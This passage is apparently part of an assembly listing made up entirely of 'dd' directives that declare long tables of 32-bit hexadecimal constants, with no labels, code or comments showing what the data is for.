		dd 2BFF24C6h, 0E599E517h, 2333392h, 11796105h, 0FEF2F829h
		dd 34B04A4Ch, 704DEB77h, 0F2A7A8Eh, 92C520BFh, 0B1FAB870h
		dd 0CC2AEBC6h, 60D8D11h, 630120F2h, 36F16A55h, 659EFE8h
		dd 0D3C6B05h, 8531EE3Bh, 57BEFDFBh, 0F672A9F8h,	4E7EE955h
		dd 1D7FD0DBh, 3E087093h, 7555E92Ch, 0E87541AAh,	16242B1Fh
		dd 0E8EDDDF4h, 3959F2EFh, 0C4CBC831h, 2C0080A6h, 14019851h
		dd 19FACB81h, 0C02A6A24h
		dd 7EBC5934h, 0A2609090h, 9268AD7Fh, 99F9327h, 0B35D8C34h
		dd 4B42D204h, 25D8830Dh, 0D37C2622h, 0C253D44Bh, 5C05356Ah
		dd 909F72B8h, 0E054CB4Fh, 3F9905h, 3054DEBh, 0C15CD458h
		dd 2D01E876h, 1557F2EFh, 0A9F7C501h, 7FD6CAE9h,	0EE819C10h
		dd 0B5464E9Fh, 0BA8056E7h, 5AB978A1h, 5EA05C1h,	0B9240EE9h
		dd 4B0F85C2h, 32664BBh,	0E03155D7h, 502AC9Eh, 91EDA4Eh
		dd 0F9A3C0C6h, 0F6808086h, 99067565h, 0C95AA983h, 0C3C170EBh
		dd 3D335B30h, 0E217C2FEh, 0E9F8C06Eh, 0C5941D39h, 0FC860E84h
		dd 35C50AC7h, 0FD01F5D1h, 0BD22203Fh, 0EF12172Eh, 0A9103111h
		dd 9C491287h, 6FECF9C9h, 0D47997DCh, 0C029C9CFh, 13E8BD87h
		dd 2C36F94Ah, 0DD0B6899h, 7944A74Fh, 13C2670Fh,	0C6ED050Ch
		dd 21021008h, 0E922957Eh, 0B84E7084h, 20BE2043h, 0D027E9B0h
		dd 6BDFE6A3h, 7AD6B5C0h, 84FC98BCh, 0B0F83012h,	293B40A3h
		dd 54F9DA7Eh, 9902EE92h, 0AF2A6841h, 579EDADBh,	0D3BDCD10h
		dd 3CC26E1Fh, 25F06348h, 0FEC759F4h, 5112DE09h,	3E732520h
		dd 5D2F93CCh, 0DD002580h, 93C452Dh, 25005AD0h, 6D132366h
		dd 3DADB951h, 0BCC8DB4Ch, 8E27E90Bh, 55487666h,	6D018170h
		dd 0CA2043F3h, 967E1793h, 0AFE40148h, 0DB44750Ch, 0B061BEF8h
		dd 24183B65h, 772A25C2h, 332D2280h, 561F741Dh, 712FADE9h
		dd 0F45988C9h, 56045E24h, 35C29912h, 76BD4AC7h,	15163C8Bh
		dd 0CEC24F8Bh, 0BA8FA6E4h, 7F80BA38h, 4766BDC3h, 7E4AE913h
		dd 0C4E0240h, 175D039Fh, 1EE0D35Fh, 0E89D124Dh,	8E8A9381h
		dd 0A00FC044h, 0CD94BE90h, 0E4B2C12Dh, 10FEB001h, 0B9BEEFFCh
		dd 28B81C2Fh, 0B5826851h, 0B5662B98h, 8C2A5C81h, 20817D00h
		dd 0EB35B579h, 6451A113h, 859D3DD3h, 2EC2AD79h,	0CE87A843h
		dd 0CF3A2403h, 4867DA3Bh, 9FD9F742h, 0A0B20E3h,	0C6076468h
		dd 8E111327h, 0A4040447h, 320500F9h, 0B225DB87h, 0BFD281AAh
		dd 98FA0407h, 0B100513Dh, 80D9F640h, 4FE98CC1h,	0CB7941A8h
		dd 24346452h, 231FA20Eh, 0E3002CE7h, 5D8C7B47h,	9003ECC1h
		dd 781E1817h, 0EF31E6Dh, 5BD55A13h, 37BC8C01h, 0F6BF7CAEh
		dd 0FF08C628h, 2F209D2Eh, 27E9908Ch, 5067C1E1h,	8637792Dh
		dd 0AF3247E9h, 52C0EE07h, 0F66071E1h, 165F11D5h, 0E960E9B1h
		dd 2ABA115Dh, 0B8A78513h, 0B079B2Ah, 5B0E6FD8h,	24754A02h
		dd 0F77973C6h, 7D5C6816h, 0FDC465B9h, 79E2137Ch, 19261EC4h
		dd 0E933763Ah, 3CBD550Dh, 14C64C3h, 0A941DCA2h,	62927A87h
		dd 98CF0CBh, 32615DD5h,	46C3BC61h, 0D00B1C08h, 51450C3Ah
		dd 0BB24B4CEh, 0E42E028Dh, 0E55DE90Eh, 14804ABBh, 5F84C4D7h
		dd 0BDF2826Fh, 707CE26Eh, 7C8CE983h, 0D184C372h, 1884FAE1h
		dd 0C19803BAh, 57D04771h, 11B5C889h, 897B66FFh,	6866512Bh
		dd 7ACB3593h, 9D7C4D9Eh, 4C2683D2h, 56C5697Ch, 0FE5C37C2h
		dd 0AAC813h, 29263DAFh,	0FEB8D5F7h, 0D002C60Bh,	7ABB0B75h
		dd 0BBE913BCh, 8EA5ED2Bh, 0EB61129Ah, 5902D64Dh, 4C1739FBh
		dd 0AF98E244h, 9E5BC12h, 16226DFh, 295FFD61h, 12328D6Bh
		dd 88605BC9h, 61B13712h, 2B030602h, 5AB7E020h, 3B682752h
		dd 43063289h, 0CF2AAB99h, 0CD07BD7Bh, 77CB7922h, 444CE560h
		dd 0D81B6039h, 0EFCA6CAh, 0F83DEDF8h, 29369556h, 31084180h
		dd 0FB246E0Eh, 4A60B1F4h, 0E2E78984h, 51AC30D4h, 7D866F01h
		dd 0A9F0D129h, 813BB60Eh, 1163D24h, 8B013805h, 0A40057E0h
		dd 352E9B5Bh, 8E137A28h, 0E7430AC2h, 0CEB3604Bh, 4E270F29h
		dd 0A81CC101h, 29585808h, 0E9EB1012h, 0FAA2DA11h, 7EF5041Eh
		dd 0FE693E7Bh, 0EAADD11Fh, 0B0A6D0B6h, 811258D5h, 56B7285Fh
		dd 0F18CBA9Dh, 0E2551669h, 88BA801Dh, 163F7F49h, 0A9B49DE9h
		dd 0F6792622h, 6624688Bh, 4E42F073h, 0A184A961h, 0EE683FE9h
		dd 0BCAB255Bh, 3560A5E1h, 9D714468h, 4110F019h,	4A51226h
		dd 7B507BB8h, 9C2A1273h, 460D1F64h, 0D2245262h,	175DD32Ch
		dd 0CB7F9F20h, 29A6AE0Bh, 165D1EBh, 732B2CBFh, 0DAC53B41h
		dd 7EFA6700h, 9431E58Ch, 7BE806Dh, 13E9B6DDh, 5A6B2EBAh
		dd 0F24B56B5h, 7D496E7Ch, 880D4BA2h, 3C30EADBh,	12C66182h
		dd 10EF0139h, 293F0832h, 0C9A45824h, 0E92E8D66h, 0AD92E9C6h
		dd 0BB475F2h, 6E40371Bh, 583CE128h, 836FB980h, 0B65206F1h
		dd 466F87A3h, 449056Dh,	5C53C6C2h, 69C7F92Fh, 0A94558Dh
		dd 0F34061B5h, 4C51FC78h, 92E5F32Bh, 7B50CBF9h,	818282DAh
		dd 1D0A9FF1h, 45C32102h, 265056DDh, 4ABE10EBh, 9F5E2B38h
		dd 2449AEEh, 212225E9h,	5F78EE72h, 9980B82Fh, 8D6F0CCEh
		dd 859A3133h, 0EA29592Eh, 2289F2B8h, 0D7A6D2FEh, 4802B048h
		dd 0E2427E1Ch, 0B6987F6Bh, 19133BBDh, 5C016294h, 41C86BF1h
		dd 782DAA43h, 0F759008Dh, 29A135D0h, 50776AFh, 70362768h
		dd 0E793A950h, 0BFE29FC4h, 33F93362h, 0DCB5B330h, 9EB77253h
		dd 30F70D5Fh, 0F881F306h, 0F66A705Bh, 5CB9EED9h, 3FB2C82Ah
		dd 0A567E558h, 7ABFFA00h, 2FE93A58h, 907BB242h,	0EEBF40A5h
		dd 8938148Ah, 0F500B373h, 681BFC13h, 2D327299h,	0C4573334h
		dd 7CBE0948h, 5A89065Ah, 0C4069F4h, 90CD2C1Ah, 835D1278h
		dd 876D74C7h, 0E9611828h, 119D258Eh, 8DC2C9E3h,	90784AA9h
		dd 0C0236A9Dh, 0B4D8D2F3h, 0E07D40D2h, 0CFEE470Ah, 4092C2Eh
		dd 2A01D128h, 0E90E7B0Dh, 0B373B197h, 16F6B65Bh, 0BC449BBFh
		dd 8DAA5152h, 2CF0F909h, 33BC4B6Dh, 4ACC16A5h, 6AC50C9h
		dd 24724F3Ch, 0D38EA32h, 94886BE9h, 4A4B8AEFh, 44931FB0h
		dd 0E1B557A5h, 0A05C921h, 698E2213h, 7B9DA3C4h,	0E8D96B16h
		dd 3A782608h, 0B80B21B4h, 0C307003Dh, 0DBF74B30h, 0ED929887h
		dd 9028D764h, 0D28A4F39h, 1A610274h, 98127EFEh,	0CCDA09EAh
		dd 53171E82h, 217D3042h, 6BA9F725h, 6314FF1h, 78BA9F6h
		dd 75A9EDEFh, 0E92D489Eh, 0B899E0ADh, 1AA9132Dh, 4A57F9E2h
		dd 0B7C55780h, 71992738h, 8A07076h, 0AE58D698h,	0F544B1A4h
		dd 683B887Fh, 0D116C52Fh, 5AA5E8A8h, 0D5812F4Ch, 950C5002h
		dd 3D902422h, 7B98A027h, 0BF5780BCh, 609A7295h,	0DD05BB04h
		dd 0D4C08737h, 9FAD4851h, 92E9DE02h, 86059450h,	1AEC80FCh
		dd 36D4FBC4h, 641728BFh, 2896614h, 247730B6h, 0F043C480h
		dd 2C729656h, 3EB60EA9h, 0F76BF00Fh, 0D95BF8A4h, 3B11F1DAh
		dd 9FE9037h, 605F09F3h,	1E6659C4h, 9A08B050h, 45828D5Fh
		dd 0F702CBFAh, 20F283DFh, 506D821h, 0D5C5CC3h, 756105Bh
		dd 4D585F25h, 0D113894Fh, 0ED0138F8h, 872E3319h, 281D2AEEh
		dd 0B858E91Ch, 2435B124h, 1B35C1FEh, 0E478061Eh, 5124C690h
		dd 52034686h, 9C53CE88h, 93EF7FC3h, 0F6080FFDh,	0E90486D5h
		dd 55E1A08Ch, 31685103h, 0E2621224h, 9F34F0CCh,	0EEF6F9E6h
		dd 5587DC0h, 7BF77B0Bh,	94762A11h, 8189DA9h, 0A34E0F66h
		dd 767C6F44h, 281FB601h, 2A0CE5C6h, 0AF2D9F16h,	9218D8F8h
		dd 3E342E83h, 4C67C272h, 0AE604DF6h, 0A175FF3Ah, 0D7079CCAh
		dd 94D5F7C2h, 0BA0FE040h, 0C653CC05h, 0EF014A12h, 592E9725h
		dd 4A98E23Bh, 0F8637EDh, 3B904B90h, 0D4C99AB5h,	500110E2h
		dd 2140BEE4h, 11850FB8h, 694618BFh, 3532BD27h, 7CC3D159h
		dd 5A862C18h, 89F11AD5h, 0BE1DC090h, 743B1E32h,	0BADA8B7Bh
		dd 5C79F9C4h, 312C4631h, 1CA775D1h, 895AC47Ch, 0E721D5A1h
		dd 2A2C6668h, 6501F8E6h
		dd 0BF38220Bh, 29C0D463h, 7741E798h, 0B72E7CC2h, 290948E4h
		dd 0DDD089C2h, 7A5C628h, 89CE5723h, 208B240Dh, 0C2E3D35h
		dd 0A8090A59h, 0A61C75BDh, 8069DD9Ch, 2521F701h, 1E0BF42h
		dd 0C5C00D57h, 8969C4CAh, 57CC05Dh, 0E96D5C4Bh,	231BB330h
		dd 3D253ECEh, 0D0951039h, 0C676DDEBh, 97CDE280h, 1D11C60Bh
		dd 7E176C4h, 812E648Bh,	3536E952h, 0B8CE6A87h, 0F24B854Ch
		dd 0CDD9D6BAh, 889F653Eh, 42025371h, 82E91CFAh,	905466F5h
		dd 130B4911h, 5C03094Eh, 74E69630h, 1835883h, 54D58661h
		dd 0F67B300Bh, 0C5D7A967h, 3D1F5A00h, 8960ED01h, 13828294h
		dd 260C17D7h, 0A91D1BF1h, 0ABF2C336h, 88B06D78h, 0FD3D5370h
		dd 0E059F95Bh, 83A5307Ch, 1DB62C5Ah, 204C828h, 54396859h
		dd 0B505C046h, 1ED80BBh, 0E2B2E480h, 48A70B4h, 0E9515AD4h
		dd 6874A184h, 0A5C95149h, 0D5D0C863h, 4AB4B9D9h, 424E2E5Ch
		dd 59070C41h, 0E5A2F2CEh, 9E0F532Eh, 2C0244BEh,	91FA8D9h
		dd 555DE831h, 0D772BFA0h, 8FA943C3h, 0EF982A15h, 0DC33A140h
		dd 9B4BA738h, 25E84E10h, 0A59EBCF5h, 8541680Fh,	6F804FC0h
		dd 133FAEC3h, 4463E9B0h, 0EB055EF0h, 983A13DDh,	227EAEFh
		dd 887C9E52h, 0B90AE9BFh, 2FEB2774h, 0E248EAD2h, 5073CA88h
		dd 6CF0D44Eh, 3059095Ah, 5A4466D8h, 681E0277h, 7EE754DCh
		dd 4DE962FCh, 4B35A768h, 0D9FC9B16h, 521847ECh,	75BD455h
		dd 1B47A048h, 0B1D5F78Ch, 0C89EAE7h, 1C0BB753h,	8B106902h
		dd 49EE9DF6h, 0D5771011h, 0C38980C0h, 0BF0D995h, 7FB837E6h
		dd 9952FE9h, 22E2468Bh,	0C5954D68h, 0BDEB1391h,	20EA58CDh
		dd 8607BCD7h, 560A1748h, 56288527h, 194AEED4h, 0B2A80D50h
		dd 4F9C8077h, 5831255Fh, 5E06A035h, 0E8FF092Dh,	48636471h
		dd 3B90BBC4h, 59E9C829h, 0F739CB9h, 0CFC24DDCh,	0A896A24Ah
		dd 7C729FEEh, 6BAE5350h, 4485750Bh, 45A7889h, 56FA34EBh
		dd 0D591FB21h, 3D80FD54h, 2D3BC0E7h, 37B94F7Eh,	33200F03h
		dd 0CA0C0621h, 0F49CC0CCh, 83758A0Bh, 0BD77E5Ch, 3CE473C4h
		dd 0A7780850h, 82F3725Bh, 66F03009h, 0A9CEA3D1h, 0E9633802h
		dd 55184039h, 9BE4BD4Ah, 4ECB9001h, 712AC75Bh, 0F03BDA67h
		dd 0D64C2CE9h, 7B6A8D59h, 2552C17Eh, 7EAE4103h,	0C5F6C268h
		dd 1D3F006Bh, 0B5077175h, 0BB05A914h, 0F553441Fh, 42F4AF1h
		dd 1A3CCFh, 99452CBDh, 28C9856h, 0FA4432E6h, 31C0EF89h
		dd 23057ECFh, 7DE93446h, 0ECAC4FB0h, 0F87F5D92h, 0C9EEA24Fh
		dd 254D5836h, 0C2891C68h, 776CBA75h, 3EC18DC1h,	5B51120Bh
		dd 82E0881Ch, 9A0B5413h, 0A4ADC82Ah, 44DD0542h,	0D8285268h
		dd 7C168E7Ch, 0ABC03F6Ah, 0B505142Bh, 127F4B48h, 0D151C312h
		dd 0FE0476ACh, 83C22094h, 0C97DCC66h, 0BDD8E12Ah, 477DFAAAh
		dd 33DEA5D0h, 2A916652h, 0A1DAE9CEh, 2C70CD18h,	1D400F76h
		dd 4417091Bh, 1D224C93h, 3022E1E5h, 2C7DC038h, 8475FA9Ah
		dd 0C00203CAh, 7DCF6852h, 5EBE98BFh, 3FCC9F71h,	95F0554Bh
		dd 0E3FC4108h, 2D8CB2B1h, 6DCADE06h, 0BE80C12Bh, 1E11030h
		dd 0D9E60481h, 0EF4EFE1Bh, 1430291Dh, 5FE22F0Ch, 300D0728h
		dd 0F78982E7h, 0B8F36D60h, 7A0125B9h, 19C110Fh,	8D6DE5EEh
		dd 0ECB106E9h, 812CFF5h, 0E30067D1h, 6F7C47EAh,	0B288ED01h
		dd 0BE01A369h, 0F7B08ABh, 279C5EBEh, 0D6F74C01h, 5418BF10h
		dd 0F0965FC3h, 0C03D7130h, 85EBB618h, 0F26B018Dh, 32A59687h
		dd 5D64DF43h, 782F34FEh, 54689F75h, 0CA833484h,	1D43D5C4h
		dd 0B0505BA0h, 4A0CD300h, 0D6346E24h, 7BD0FDF6h, 78C32E80h
		dd 288416B4h, 0E09549DCh, 2669FC3Ah, 2DAD4DA9h,	0B65575E2h
		dd 0AE6C971Eh, 0BFEE8320h, 0BDA38004h, 66F600EDh, 68400130h
		dd 8C4D5A2Bh, 0D002D880h, 98E9FEBFh, 42B5F6C2h,	244B3E68h
		dd 8ED044EAh, 5F070094h, 89FF844Bh, 0BB5040FAh,	48237917h
		dd 0BA77584Fh, 0C2090B53h, 0D0CE2D1h, 989FAD50h, 966EE9A7h
		dd 28B001F9h, 7E96B551h, 4E304CCFh, 58C53181h, 48A0B97h
		dd 8514D462h, 217BEA13h, 1AC7C84h, 362B5D59h, 0F99F0D51h
		dd 0CA916CC9h, 0C5D56F41h, 385D0B92h, 8E4BAA0Ah, 0AC128BF3h
		dd 277BE380h, 5805A91Fh, 0EEB927C7h, 0FE0F854h,	4B68C8BEh
		dd 0E9C83103h, 8042F5Ah, 0A8C7D7F7h, 33E15701h,	22240C84h
		dd 8383AFE5h, 5712825Dh, 0EA5FFE04h, 0C86FEF9Dh, 0CA6542B1h
		dd 0C6D85F7Ch, 1A57B128h, 0AF5CEB50h, 0E92B0B53h, 0EC54B538h
		dd 87664A89h, 5ECFFCC5h, 411379EFh, 6AC8B70Fh, 0A2D7C58Ah
		dd 0AF6191Dh, 0C8805018h, 1DC351B1h, 0BC2B5B8h,	0DFCF09E9h
		dd 1E656B30h, 0FA259CACh, 0E9BDAEFEh, 8118C27Eh, 3A67683Fh
		dd 0CC4E2B63h, 0BB4C538Ch, 72587429h, 18D43D18h, 820C2A7Eh
		dd 75971368h, 43E1C43h,	0BA7FFF70h, 8BD24EC7h, 896E7F26h
		dd 8D327490h, 0FDEDF11Ah, 86D80C2Bh, 3F603141h,	0FDB94FA9h
		dd 0E4DD8453h, 0CF3179C8h, 0ED647DDCh, 32CCFB09h, 909B4115h
		dd 0B8D261FEh, 99911369h, 72A186A8h, 93B3041Dh,	0C4274115h
		dd 0E1F76683h, 4C5F6898h, 8971DB9Fh, 33D46E3Fh,	5FEFFC62h
		dd 44BB8DE5h, 778D4AB8h, 91F5B433h, 0C47ABA19h,	49F42A6Eh
		dd 6414E264h, 889556AFh, 5A4C5496h, 7C9616F2h, 23104B35h
		dd 416C16CAh, 0A712CC0Bh, 2F75C36Bh, 1751E0F0h,	602A5C68h
		dd 62739E24h, 0F425287Dh, 4B43661Fh, 8DE5129Dh,	0C88C9610h
		dd 0A054B28Ch, 95FF93D3h, 1B3D8973h, 0B0EFADD4h, 60AA11h
		dd 7C722D97h, 0C8295755h, 3B070551h, 5D15D182h,	2CD30218h
		dd 6DCA9CABh, 68067279h, 2D652F75h, 38BA8F40h, 0EC7EB440h
		dd 4EF80180h, 21B9B05Fh, 0DA2FE87Dh, 2C05F922h,	3B48259Dh
		dd 0DC322B56h, 5F305646h, 7D4D73A6h, 0EA20B980h, 3D02F582h
		dd 0BD4ABC17h, 0C285D141h, 5138F5DEh, 0A4E6C5BAh, 65CFB01Eh
		dd 5CE2938Ch, 0C72E2150h, 0F26CB16Ah, 825C9B51h, 99B062h
		dd 0AD7F0D35h, 0BC2B68E6h, 7209D378h, 5051DE19h, 66B7FA4Bh
		dd 3CB83CB4h, 1A8E0DA5h, 0BA57CB49h, 2CF7C0F7h,	15390474h
		dd 0B133E95Ah, 0AD8B7E04h, 0E91E34Ah, 2A21E02Dh, 514B632h
		dd 145F2707h, 0BA683D44h, 1EAE8CCFh, 9DB8CC40h,	7BDC706Ah
		dd 5227F72Ch, 450C977Fh, 3C12E012h, 0F8087B7Fh,	550D04E4h
		dd 0ECFAC440h, 35A05B96h, 6FD62449h, 62E202B3h,	83617A90h
		dd 3AD1A4E0h, 11A7DB96h, 1C62F320h, 2B2DD6ABh, 6172F876h
		dd 633E2610h, 0AD8C3F9Ch, 4CCD97C4h, 17314C41h,	0BEE7916Fh
		dd 95773BBFh, 4B90DEB5h, 9257F281h, 4941B749h, 5F9E647Ah
		dd 0FBFA3139h, 685AD01Ch, 52CD7ED2h, 5CF76E8h, 0E957517Bh
		dd 41E0ECC6h, 0B63A446Dh, 1058274Bh, 80EF4599h,	5A0EF388h
		dd 6505E3C0h, 6F8108EBh, 0EFC3F7B6h, 2AB2D26Fh,	0E9D4B280h
		dd 3A9F1160h, 0FC90602Fh, 0F371E728h, 38EC57D6h, 2BFBE915h
		dd 4AD724C2h, 4131C0CCh, 0DCC2F9E5h, 66B9B3B6h,	0E8820709h
		dd 828EB40Fh, 28D61383h, 0F18150E8h, 0BF593A0Eh, 0D9E1C132h
		dd 60CA0655h, 9714BA90h, 0DB4034D9h, 0B057A65Fh, 49D11FF9h
		dd 790CB0E7h, 38255140h, 0E99D0F46h, 779B8962h,	48F99D80h
		dd 0E92A1CD0h, 0B905E999h, 0CB1EA8DBh, 9422F8A8h, 524D5F00h
		dd 1BD6E5BAh, 0A1629704h, 70DC927Fh, 0D9E912F8h, 264F90B9h
		dd 0C1E04F78h, 7C02E630h, 669715F3h, 2403126Eh,	202DA6ECh
		dd 9D0D509Eh, 50401D0h
		dd 11194532h, 0BE9C4FFh, 0B45E5B07h, 557962DAh,	6ACFD110h
		dd 39EF89C0h, 0BA05FB89h, 0C5F19FABh, 0B9451620h, 8243C57Eh
		dd 0BBFD82F5h, 0D816DAEEh, 62C697A3h, 80249790h, 6AA80120h
		dd 5927919Eh, 0E5311637h, 18922FCCh, 814D74B5h,	0A2F803F1h
		dd 0F5143185h, 57337406h, 6804EEACh, 0F6C7138h,	0A1D1BFBCh
		dd 859EE913h, 0B416BE35h, 88B58BE8h, 0DC401C34h, 0F7D25CF7h
		dd 25996910h, 638C7987h, 0A7007EE3h, 0ADA394C1h, 0FACA89FAh
		dd 1A9166E1h, 29FE745Ah, 27BD0F1Fh, 0E7F06553h,	7D515842h
		dd 0A018D225h, 0EA839A5Ch, 0EECE9101h, 142F2EC0h, 70F5898Ah
		dd 42791293h, 0C831108Dh, 89B7F0ECh, 9815D34Dh,	30E91D8Fh
		dd 6C90134Fh, 7BAABB02h, 21982718h, 0F12032FAh,	50594DB5h
		dd 802C0A24h, 0FB1F87B9h, 0CB69296Fh, 708DD1Eh,	225A130Bh
		dd 41620946h, 95E95910h, 7656696Bh, 0E9255E58h,	9681899Fh
		dd 0A8304A54h, 0CC40133Fh, 0B8E4ACA8h, 0A005863Eh, 0D5E64C79h
		dd 0E4B13516h, 300954A3h, 56426C4Dh, 0EDE28156h, 3034B368h
		dd 2038C3D4h, 0B7F44EB1h, 71FC6502h, 31D7AEC7h,	0C2D2EFE7h
		dd 970539Dh, 1BD49BD0h,	6BD67169h, 0E409F371h, 2B1A592Eh
		dd 0A089273Bh, 5D7A755Eh, 4800791h, 73CEBA82h, 0EA5592B4h
		dd 9AAB0D74h, 0B7B5034Fh, 267AC580h, 0A7010B06h, 0A5BD9F73h
		dd 48785A8Ah, 87848CC6h, 0BF23940Eh, 0CA3A0F2Dh, 18DF008Dh
		dd 0EDD115D7h, 0DDF7294Dh, 0CEBA6093h, 164E0766h, 0BF5246F0h
		dd 5580AC89h, 0F61749F2h, 0BC20D990h, 0C3FE009Ah, 51F3B450h
		dd 6FB07DB1h, 0F120F914h, 0CE9412B4h, 0F850D59Ch, 268BBAA0h
		dd 2750B32Ch, 8201B30Bh, 34EB13D8h, 1412467h, 0F025992Ah
		dd 0C69F27F7h, 0D5282CD9h, 816DE2CEh, 0BD628A7Ch, 0D6386983h
		dd 292C626Fh, 0AC1E7DF4h, 20AADA96h, 1A22DD0h, 3530480Fh
		dd 80127E73h, 2465620Fh, 0D6F14138h, 0EB81A88Ah, 0EA58180Bh
		dd 69252F10h, 8266576h,	85496856h, 64D5B6B8h, 2DBE7D85h
		dd 8C03FA9h, 94A55EE9h,	62C55135h, 10354841h, 0ED4F12D2h
		dd 704F7961h, 89AF70C5h, 794C8888h, 0FF627FAh, 6805ED2Eh
		dd 60AF7F90h, 8B53E918h, 0F9498D96h, 0F2C07h, 146E4B4Fh
		dd 5FA4C821h, 8A89A1h, 9007EDC1h, 0A2900B7Dh, 185C957Dh
		dd 0D11ECD0Bh, 70B43Ch,	82236FADh, 0D0984A22h, 0DCFED241h
		dd 9F8F083Ah, 6755D820h, 22F16B4Ah, 51C140C5h, 0E922023Fh
		dd 0DB516E3Eh, 0B0419F20h, 99EBCF00h, 60C52A4Ah, 846E5DEh
		dd 7D27F60Ch, 10D5820Ch, 7EBB5327h, 0FE72DE8h, 1518C3D0h
		dd 0CD2623C4h, 2CFB2DDAh, 8525DAFAh, 55781220h,	4A583348h
		dd 5F306B1Ah, 510704B0h, 0C0098ABh, 0BA01DAB4h,	40DA2EE8h
		dd 0DA88BA42h, 23F2976Bh, 6251599Fh, 0CED5DBC3h, 0CF68172Ch
		dd 991A35Bh, 7AA24DE9h,	0BA692082h, 3B85AC4Ah, 9FE901FEh
		dd 7E05EBC0h, 0DF8FCAC2h, 0EF8052C9h, 5BDA88E8h, 1879CAECh
		dd 601EA30h, 4A3C686Fh,	0B3A02146h, 8449B926h, 0DDE908E3h
		dd 0C60219B9h, 38BB52EDh, 633A8BC0h, 0E9211804h, 0CCBF9FECh
		dd 72415BABh, 57E8806Eh, 797C9278h, 65CF392Fh, 0DF427BEh
		dd 9494D752h, 0A0A01E25h, 3E59ED0Bh, 0E4A6574h,	7D4E8255h
		dd 829C96C0h, 0F9975673h, 41E90E40h, 54136F95h,	0FF6A645Bh
		dd 0A826980h, 9A29849h,	0DF51BEAh, 8736045Dh, 0D8B52DC1h
		dd 0ADE45B49h, 0DFEAF3C7h, 65B7D9B8h, 46499B99h, 0B8500581h
		dd 823D6C8Dh, 0B45CA818h, 40791A2Fh, 80CA9782h,	4F0471B8h
		dd 0C2314811h, 0E13001C1h, 65A1E43Ch, 1157EEFEh, 473FDD98h
		dd 92BCE765h, 0A7801321h, 6B2335ADh, 2C0CF7F8h,	0C5A790Dh
		dd 7B1F1248h, 0F88AA118h, 712AE9DBh, 0E8F05F06h, 0EAA4E35Eh
		dd 7899658h, 60F0B050h,	0B75303E0h, 51E9EE09h, 69BB5EA0h
		dd 0B8429E77h, 5106B464h, 4AE90183h, 0B5210534h, 0B716F1D9h
		dd 0F5CA540h, 5E68C8BFh, 30D4CDA6h, 22C66430h, 9F6C835Fh
		dd 188BABC5h, 0F9BA770Ch, 0C369C77Ch, 88ACECC6h, 3529BF81h
		dd 3DE3D862h, 3E136013h, 590CE6FCh, 0E70C2C88h,	336A2203h
		dd 3D9AF1E9h, 888EF53Bh, 1DF4C7Eh, 6275136Fh, 0F8C2DA01h
		dd 337D080Bh, 0A684F7D4h, 0DFEAA693h, 0F45082h,	0BB6365BDh
		dd 426A6Bh, 1F96C953h, 0A96D4F5Ah, 85F103F1h, 409ED07h
		dd 3495462h, 0AB87AB5Ch, 0EEE28239h, 0A31C5FB1h, 0AB787BDh
		dd 5650C8A1h, 5E8E326Bh, 0F9ED5ACh, 0A744209Fh,	0C0708E2Ch
		dd 3D401B78h, 0D109F71Fh, 0C9797EE9h, 88547453h, 4EB038F4h
		dd 5FBDF38Ah, 0F3D4A097h, 27682EB0h, 90C42F99h,	0F71DB297h
		dd 0AA5B8604h, 0E0EC3B64h, 8863C9CCh, 0CF50E172h, 0C89CFDD3h
		dd 25E9DD6Ch, 0F0A0C113h, 26A1759Fh, 7DC4575Bh,	0ACC7F980h
		dd 85D909C0h, 96DDFB01h, 79C20322h, 136592Fh, 436853B1h
		dd 0B8055B08h, 0E405A30h, 852F63F8h, 0C4A75E79h, 47C700FAh
		dd 0F6811FCCh, 1B787C41h, 4E6E92Dh, 61EA596Dh, 4CC9CF5h
		dd 696DFA1h, 2F95AD06h,	77756238h, 21247B67h, 0D444FE10h
		dd 8F145D0h, 2B1F94C7h,	3B881297h, 0EC04126Bh, 30BF04F1h
		dd 0FB825AD0h, 6CDEE13Eh, 61B220A9h, 9FF6EAD0h,	17609DF0h
		dd 91F0015Bh, 4FC9B13h,	36DF05FBh, 879E909Ch, 230F3043h
		dd 0A902EAC1h, 689340E1h, 954812D6h, 6FCD044Ch,	9BE0071h
		dd 0B51F9D45h, 20B0D8EBh, 29235205h, 590C2074h,	0C905EA5Eh
		dd 0A8512F58h, 1B107DFh, 1C3D28DDh, 0D10A22A2h,	13491822h
		dd 253F688Ah, 0E6A64DA2h, 71A7C5DBh, 142509EBh,	0B1C0FA59h
		dd 50D1F652h, 80878D51h, 0F509295Bh, 516F895Eh,	0D231604Bh
		dd 23586B68h, 7D44D06Dh, 60E2F95Eh, 82C72778h, 24CD7C74h
		dd 5CFE3D34h, 0D53903C2h, 0BFC470F5h, 85CCC6E0h, 0BDB8CBB5h
		dd 2A218BB5h, 184D5A6Fh, 864B295Dh, 7430DD65h, 0C5801FF6h
		dd 0B162D3C8h, 68F7A98h, 2523E90Bh, 7C69C0D4h, 1974D252h
		dd 87225651h, 0E2B5F817h, 3DC648EEh, 0E9A0B2Ah,	71798B01h
		dd 8CE96214h, 6881D2F9h, 1CF55792h, 6E75A07Ah, 0E30AAC04h
		dd 0BFD15CE9h, 0C47AD3F7h, 6381EEE7h, 0DFE07DC3h, 0CCB1B528h
		dd 4EBF3C2Dh, 90AB3A8h,	42CD1C4Fh, 14DF97F7h, 619D333Dh
		dd 0D992D163h, 3882355Eh, 6B854A05h, 20CAB0DFh,	105A5A8Fh
		dd 1F480767h, 0EC216709h, 0EACC9D6h, 0F20FACE2h, 0DC3F27E5h
		dd 2E54D6BAh, 0EC60874Dh, 0DF121A3Dh, 30D40C54h, 0FDA35992h
		dd 0CA5C6627h, 0DD656E42h, 65BDF16Eh, 4B53AAEDh, 0DAC4E258h
		dd 0A6B04515h, 0B458Ah,	424AEA4Fh, 0CD64041h, 0F241A2F9h
		dd 5B09B522h, 2978BEE9h, 7F87BF0Fh, 0D7F7401Eh,	0F2685152h
		dd 56B3147Bh, 740B359h,	0CFE052E9h, 0DB7AF702h,	5E40FB5Fh
		dd 2F097FAFh, 8F90157h,	4C2D087Bh, 0DBE120F1h, 2EB1B801h
		dd 0A12D21CDh, 9DAB63E4h, 3C018CC9h, 79A54E75h,	11F10035h
		dd 24CCA63Ah, 5D9C9D92h, 59EA026Dh, 539C5463h, 393B1EEBh
		dd 62ECAF54h, 30C75F95h, 6CE16887h, 4589090Eh, 0B82830BBh
		dd 4B3C1A53h, 10CD4C33h, 501D641Dh, 0BE3ACC57h,	5A03B80Fh
		dd 2D1F2319h, 810B5A56h, 0B127B2h, 3D086FBDh, 1A1348C1h
		dd 8BFEBDB5h, 260259BEh, 27D8EAEEh, 5F52DB56h, 0CEE3D4A2h
